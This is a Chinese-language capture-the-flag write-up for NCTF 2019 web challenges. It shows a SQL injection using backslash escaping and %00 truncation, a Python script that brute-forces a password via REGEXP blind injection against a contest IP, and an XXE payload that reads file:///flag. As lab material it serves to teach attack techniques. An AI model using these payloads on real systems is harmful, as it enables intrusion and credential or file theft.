sqli用正则表达式注入,%00截断绕过

nctf2019 WP - 图1

题解

首先先fuzz一下,检测如下字符

nctf2019 WP - 图2

这过滤的也太全了。

试了试不太行。找找看有没有其他线索

打开/robots.txt,里面有提示/hint.txt

nctf2019 WP - 图3

nctf2019 WP - 图4

%00发包要点

php<5.3.4,且magic_quotes_gpc==off可进行%00截断

~~%00~~不能在浏览器中打,会被编码成%2500

在很老的burpsuite版本中需要转到hex改00

nctf2019 WP - 图5

刚试了下2020.6版可以直接打%00

2021版直接就把hex栏给取消了,不过可以直接打。
python中传~~%00~~不能直接传,需要~~parse.unquote('%00')~~

2021年11月18日18:07:49

测试python3.9中无论是GET/POST,放URL里,还是放params/data里,都可以正常打。

浏览器中GET可以直接打,hackbar里POST会提示URI malformed

postman里直接打%2500就好


在此测试下%00截断,payload:

none

  1. username=\&passwd=||1;%00

若是成功会有个302重定向,说明可行

nctf2019 WP - 图6

利用regexp查值

nctf2019 WP - 图7

默认不区分大小写。

先快速跑一下,看看回显

nctf2019 WP - 图8

然后跑脚本吧

python

  1. import requests
  2. from urllib import parse
  3. import string
  4. url = 'http://116.62.127.33:10000/'
  5. num = 0
  6. result = ''
  7. string = string.ascii_lowercase + string.digits + '_'
  8. for i in range(1, 60):
  9. if num == 1:
  10. break
  11. for j in string:
  12. data = {
  13. "username":
  14. "\\",
  15. "passwd":
  16. "||/**/passwd/**/regexp/**/\"^{}\";{}".format((result + j),
  17. parse.unquote('%00'))
  18. }
  19. print(result + j)
  20. res = requests.post(url=url, data=data)
  21. if 'welcome' in res.text:
  22. result += j
  23. break
  24. if j == '_' and 'welcome' not in res.text:
  25. break

跑出

none

you_will_never_know7788990

Fake XML cookbook

xxe学习

nctf2019 WP - 图9客户端向服务器发送XML数据

我们抓包可以控制整个数据,添加一个恶意代码,进行攻击

抓包看到 username和password都是xml格式

我们来构造payload来试着读取flag
<?xml version=”1.0” encoding=”utf-8”?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM “file:///flag”>
]>
&admin;123456

从而读取flag文件